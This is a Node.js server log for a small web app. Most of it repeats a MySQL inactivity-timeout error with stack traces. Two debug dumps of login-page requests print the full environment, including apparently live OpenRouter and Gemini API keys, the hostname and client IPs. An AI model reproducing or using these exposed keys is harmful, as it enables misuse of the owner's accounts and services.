    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 02:53:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 03:50:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 03:50:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 04:15:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 04:15:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 04:58:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 04:58:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 06:44:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 06:44:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 07:28:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 07:28:16' as DATETIME)"
}
2026-05-26T07:49:56.914Z server-connect:router Serving templateView /
2026-05-26T07:49:56.916Z server-connect:app Executing action step identify
2026-05-26T07:49:56.916Z server-connect:app options: { provider: 'security' }
2026-05-26T07:49:56.917Z server-connect:auth No login cookie found
2026-05-26T07:49:56.917Z server-connect:output identity: false
2026-05-26T07:49:56.917Z server-connect:app Executing action step restrict
2026-05-26T07:49:56.917Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-26T07:49:56.917Z server-connect:output restrict: undefined
2026-05-26T07:49:57.606Z server-connect:router Serving templateView /login
2026-05-26T07:49:57.606Z server-connect:app Executing action step identify
2026-05-26T07:49:57.606Z server-connect:app options: { provider: 'security' }
2026-05-26T07:49:57.606Z server-connect:auth No login cookie found
2026-05-26T07:49:57.606Z server-connect:output identity: false
2026-05-26T07:49:57.606Z server-connect:router Render template layouts/authentication
2026-05-26T07:49:57.607Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.9',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-27T07:49:57.605Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.9',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.9',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 09:48:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 09:48:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 10:57:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 10:57:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 12:05:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 12:05:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 16:46:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 16:46:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 18:14:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 18:14:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 18:22:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 18:22:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 18:58:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 18:58:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 20:30:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-26 20:30:17' as DATETIME)"
}
2026-05-26T20:54:23.945Z server-connect:router Serving templateView /
2026-05-26T20:54:23.947Z server-connect:app Executing action step identify
2026-05-26T20:54:23.947Z server-connect:app options: { provider: 'security' }
2026-05-26T20:54:23.947Z server-connect:auth No login cookie found
2026-05-26T20:54:23.947Z server-connect:output identity: false
2026-05-26T20:54:23.947Z server-connect:app Executing action step restrict
2026-05-26T20:54:23.947Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-26T20:54:23.949Z server-connect:output restrict: undefined
2026-05-26T20:54:24.076Z server-connect:router Serving templateView /login
2026-05-26T20:54:24.077Z server-connect:app Executing action step identify
2026-05-26T20:54:24.077Z server-connect:app options: { provider: 'security' }
2026-05-26T20:54:24.077Z server-connect:auth No login cookie found
2026-05-26T20:54:24.077Z server-connect:output identity: false
2026-05-26T20:54:24.077Z server-connect:router Render template layouts/authentication
2026-05-26T20:54:24.077Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    connection: 'keep-alive',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '82.165.209.144',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-27T20:54:24.076Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '82.165.209.144',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '82.165.209.144',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 22:58:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
